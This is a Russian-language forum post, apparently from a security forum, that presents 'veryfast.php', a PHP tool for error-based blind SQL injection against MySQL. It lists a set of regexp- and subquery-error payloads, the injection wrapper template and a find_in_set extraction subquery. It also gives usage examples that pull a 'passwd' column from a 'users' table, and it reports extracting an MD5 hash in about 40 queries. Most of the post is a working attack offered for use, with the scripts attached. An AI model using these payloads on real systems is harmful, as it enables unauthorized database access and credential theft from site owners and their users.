Показать сообщение отдельно
Старый 09.07.2010, 15:42   #3
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию Скрипт для работы через find_in_set()+more1row (метод 5)

Генерация запросов:

2 ошибки обладают особенностями:
1) select 1 regexp if(1=1,"x{1,0}",2) - работает только так, как показал ZaCo в древнем посте на античате, и требует чтобы к остальным запросам regexp корректно в начале был добавлен символ "}", иначе назвисимо от условий ругается тольо так: "#1139 - Got error 'repetition-operator operand invalid' from regexp"
2) select 1 regexp if(1=1,'',2), работает только при наличии пустого запроса, или так: 'a|' (отсутствие чего бы то нибыло после | ), но особенность 1 убивает возможность использования чисто пустого запроса.

Вложенные запросы скрипт генерирует сам.

Дальше понадобилось группировать символы алфавита по условиям. Скрипт делает это по принципу (на примере [0-9,a-f] и 4х состояний):

1) Раскидывает по 1 букве алфавита на запрос, т.е.
Код:
[1]:1
[2]:2
[3]:3
[4]:4
2) если символы остались, то начинает расставлять их по состояниям, слева-направо, заполняя каждую категорию не более чем на количество равное количеству состояний.

3) Если ещё остались не распиханые символы, идём на шаг 2.

В итоге символы по категориям расставлены так, что поиск по ним будет происходить максимально быстро.

Например, символы [1,2,3,4,5,6,7,8], скрипт по состояниям расставит вот так:

[1]:1,5,6,7
[2]:2,8
[3]:3
[4]:4

И получаем, что если символ в запросе равен 3 или 4, то его найдут с 1 запроса, если [1,5,6,7] или [2,8], то с 2х запросов.

Для генерации запросов используется следующая структура:

1) Все запросы хранятся в массиве:
Код:
$queries = array(
 "if(%cond%,%then%,(select+1+union+select+2))" => "Subquery returns more than 1 row",
 "if(%cond%,%then%,'}x{1,0}')" => "invalid repetition count(s)",
 "if(%cond%,%then%,'}x{1,(')" => "braces not balanced", 
 "if(%cond%,%then%,'}[[:]]')" => "invalid character class",
 "if(%cond%,%then%,'}[[')" => "brackets ([ ]) not balanced",
 "if(%cond%,%then%,'}(({1}')" => "repetition-operator operand invalid",
 "if(%cond%,%then%,'}|'" => "empty (sub)expression",
 "if(%cond%,%then%,'}(')" => "parentheses not balanced",
 "if(%cond%,%then%,'}[2-1]')" => "invalid character range",
 "if(%cond%,%then%,'}[[.ch.]]')" => "invalid collating element",
 "if(%cond%,%then%,'}\\\\')" => "trailing backslash",
);
где %cond% jобозначает место, куда скрипт должен подставить условие, %then% - место куда скрипт должен вставить следующий подзапрос.

Зная это можно свободно добавлять/удалять ошибки из массива. Программа отработает полностью автоматически, и строит окончательный запрос только из тех подзапросов которые есть в наличии. (комментирование/добавление запросов к некорректной работе не приведёт).

2) основной запрос обёртка прописывается так:
Код:
$template = "+AND+\"x\"+regexp+concat(\"x{1,25\",+(%query%))+--+1";
где %query% - место куда скрипт должен подставить сгенерированные подзапросы.

3) Подзапросы тут:
Код:
$condition = 'find_in_set(substring((select+'.$field.'+from+'.$table.'+limit+%id%,1),%number%,1),%symbols%)';
где: %id% - место куда подставится id, %number% - место куда скрипт будет подставлять номер символа в строке, %symbols% - куда скрипт будет размещать символы.

4)алфавит можно задать как в исходниках, так и из командной строки. В исходниках:
Код:
$alphabet = array_merge(range('0', '9'),range('a', 'f'));
В принципе это всё нужно только для тонкой настройки.

Работа со скриптом:
Цитата:
veryfast.php url field table [target_id] [send_queries] [alphabet]
где:

обязательные:
url - url вида http://test1.ru:8012/sql.php?id=1 (Важно: нужна цифра, или символ)
field - имя столбца
table - имя таблицы

необязательные:
[target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
[send_queries] - количество символов которое надо получить (по дефолту 32)
[alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .

Пример:
Цитата:
php veryfast.php http://test1.ru:8012/sql.php?id=1 passwd users
Результат работы:
Цитата:
Result: 200820e3227815ed1756a6b531e7e0d2
Total: 42 queries
Если нужно задать алфавит, id и прочее то пишем так:
Цитата:
php veryfast.php http://test1.ru:8012/sql.php?id=1 passwd users 5 15 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
На практике у меня на хеши md5 уходит около 40 запросов.

Если кто найдёт ещё 4 ошибки, которые работают в динамическом режиме (внутри if в зависимости от условия), то скрипт будет работать со скоростью 1 запрос - 1 символ. Добавить ошибки в базу, с учётом написаного выше, будет легко любому.

Во вложениях 2 скрипта, в 1м всё запросы передаются в чистом виде и с кавычками (удобно для того чтобы понять как это работет), во 2м всё захексено, чтобы не было проблем с экранированием кавычек.
Вложения
Тип файла: txt veryfast1.txt (9.4 Кб, 1893 просмотров)
Тип файла: txt veryfast2.txt (9.6 Кб, 1546 просмотров)

Последний раз редактировалось Qwazar; 09.07.2010 в 15:53..
Qwazar вне форума   Ответить с цитированием